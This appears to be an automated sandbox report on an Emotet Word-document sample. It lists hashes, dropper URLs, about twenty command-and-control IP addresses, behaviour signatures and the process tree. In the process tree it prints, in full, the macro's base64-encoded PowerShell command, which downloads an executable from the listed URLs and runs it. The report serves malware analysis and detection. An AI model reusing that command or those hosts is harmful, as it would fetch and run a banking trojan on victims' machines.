Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    145s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    12/08/2020, 19:33

Sharing

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General

  • Target
    emotet_e2_f2ccd3c493881b68693c2d24addb0a1ec854e6020efdff1cbccf785a1ad099bf_2020-08-12__193129._doc.doc
  • Size 229KB
  • Sample200812-e9fs6ft15j
  • SHA256 f2ccd3c493881b68693c2d24addb0a1ec854e6020efdff1cbccf785a1ad099bf
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://kontaci.com/cgi-bin/yp0n_7g_nz30p2j7/
  • exe.dropper

    http://laylalanemusic.com/uploads/ih_03_krekp/
  • exe.dropper

    https://kissanime24.com/anime/jgvgw_eu_2m5bw0ae/
  • exe.dropper

    https://qinzilong.com/plugins/8c8r_sl6kw_8tz6hdp/
  • exe.dropper

    http://lansec.com.br/rkz_wgz_2mw77xw/

Extracted

Family

  • emotet

C2

  • 174.102.48.180:80

  • 88.217.172.164:443

  • 51.75.33.120:8080

  • 62.138.26.28:8080

  • 169.239.182.217:8080

  • 114.146.222.200:80

  • 116.203.32.252:8080

  • 103.86.49.11:8080

  • 74.120.55.163:80

  • 41.60.200.34:80

  • 209.182.216.177:443

  • 157.245.99.39:8080

  • 87.106.139.101:8080

  • 152.168.248.128:443

  • 104.236.246.93:8080

  • 47.144.21.12:443

  • 139.130.242.43:80

  • 181.230.116.163:80

  • 72.12.127.184:443

  • 61.19.246.238:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_f2ccd3c493881b68693c2d24addb0a1ec854e6020efdff1cbccf785a1ad099bf_2020-08-12__193129._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1152
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABFAFgAUgBWAEUAZgByAHIAPQAnAFgARwBEAEYATQB1AG4AcwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAHIASQBgAFQAWQBQAFIATwBgAFQAbwBDAGAATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQASgBBAFEASgBKAHcAdgBnACAAPQAgACcAMwAxADIAJwA7ACQAQgBaAFEATgBUAHYAcQBjAD0AJwBWAEIASwBFAEsAYgBmAG0AJwA7ACQAQwBHAEoARQBQAGIAcQBnAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABKAEEAUQBKAEoAdwB2AGcAKwAnAC4AZQB4AGUAJwA7ACQASABDAEQATQBZAGwAcwB6AD0AJwBFAE8AVwBXAFIAbwBwAGYAJwA7ACQARwBWAEIAVwBFAHgAdgBvAD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAagBlAGMAJwArACcAdAAnACkAIABuAGUAdAAuAFcARQBiAEMATABJAEUAbgBUADsAJABHAFAAUgBFAFoAdQBhAGMAPQAnAGgAdAB0AHAAcwA6AC8ALwBrAG8AbgB0AGEAYwBpAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AeQBwADAAbgBfADcAZwBfAG4AegAzADAAcAAyAGoANwAvACoAaAB0AHQAcAA6AC8ALwBsAGEAeQBsAGEAbABhAG4AZQBtAHUAcwBpAGMALgBjAG8AbQAvAHUAcABsAG8AYQBkAHMALwBpAGgAXwAwADMAXwBrAHIAZQBrAHAALwAqAGgAdAB0AHAAcwA6AC8ALwBrAGkAcwBzAGEAbgBpAG0AZQAyADQALgBjAG8AbQAvAGEAbgBpAG0AZQAvAGoAZwB2AGcAdwBfAGUAdQBfADIAbQA1AGIAdwAwAGEAZQAvACoAaAB0AHQAcABzADoALwAvAHEAaQBuAHoAaQBsAG8AbgBnAC4AYwBvAG0ALwBwAGwAdQBnAGkAbgBzAC8AOABjADgAcgBfAHMAbAA2AGsAdwBfADgAdAB6ADYAaABkAHAALwAqAGgAdAB0AHAAOgAvAC8AbABhAG4AcwBlAGMALgBjAG8AbQAuAGIAcgAvAHIAawB6AF8AdwBnAHoAXwAyAG0AdwA3ADcAeAB3AC8AJwAuACIAUwBwAGAATABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABPAEoAWQBBAE4AZABrAHcAPQAnAE4AQgBTAEUASABoAHUAawAnADsAZgBvAHIAZQBhAGMAaAAoACQARQBLAEgAQQBSAHcAagBqACAAaQBuACAAJABHAFAAUgBFAFoAdQBhAGMAKQB7AHQAcgB5AHsAJABHAFYAQgBXAEUAeAB2AG8ALgAiAGQATwBXAGAATgBsAE8AYABBAGQAZgBgAEkATABFACIAKAAkAEUASwBIAEEAUgB3AGoAagAsACAAJABDAEcASgBFAFAAYgBxAGcAKQA7ACQAQgBPAEIARQBWAHQAegBtAD0AJwBMAFkASgBWAFAAZgBmAHEAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABDAEcASgBFAFAAYgBxAGcAKQAuACIAbABFAE4AYABnAFQAaAAiACAALQBnAGUAIAAyADIAMQA5ADIAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAUgBlAGAAQQBgAFQAZQAiACgAJABDAEcASgBFAFAAYgBxAGcAKQA7ACQASABPAEEAQwBDAHgAZgB4AD0AJwBaAEcATwBCAEcAagBuAHEAJwA7AGIAcgBlAGEAawA7ACQASgBPAEYAQQBBAHAAegB4AD0AJwBSAE0ATgBZAFEAZQBiAGMAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgBNAFkASABQAHYAdwBtAD0AJwBXAFgAQwBNAEIAcABsAGgAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1936
  • C:\Users\Admin\312.exe
    C:\Users\Admin\312.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2012
    • C:\Windows\SysWOW64\dsdmo\cca.exe
      "C:\Windows\SysWOW64\dsdmo\cca.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1652

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1152-7-0x0000000007C20000-0x0000000007E20000-memory.dmp
        Download

        memory/1152-5-0x000000000CB90000-0x000000000CB94000-memory.dmp
        Download

        memory/1152-2-0x0000000009710000-0x0000000009714000-memory.dmp
        Download

        memory/1152-9-0x0000000002100000-0x0000000002101000-memory.dmp
        Download

        memory/1152-3-0x0000000007C20000-0x0000000007E20000-memory.dmp
        Download

        memory/1152-4-0x000000000BB10000-0x000000000BB14000-memory.dmp
        Download

        memory/1152-6-0x0000000007C20000-0x0000000007E20000-memory.dmp
        Download

        memory/1208-23-0x000007FEEEA80000-0x000007FEEECFA000-memory.dmp
        Download

        memory/1652-22-0x0000000000260000-0x000000000026C000-memory.dmp
        Download

        memory/1936-15-0x000000001C1E0000-0x000000001C1E1000-memory.dmp
        Download

        memory/1936-16-0x000000001C580000-0x000000001C581000-memory.dmp
        Download

        memory/1936-14-0x0000000002380000-0x0000000002381000-memory.dmp
        Download

        memory/1936-13-0x0000000002490000-0x0000000002491000-memory.dmp
        Download

        memory/1936-12-0x000000001AA80000-0x000000001AA81000-memory.dmp
        Download

        memory/1936-11-0x000000001A860000-0x000000001A861000-memory.dmp
        Download

        memory/1936-8-0x000007FEE9580000-0x000007FEE9F6C000-memory.dmp
        Download

        memory/2012-19-0x00000000002E0000-0x00000000002EC000-memory.dmp
        Download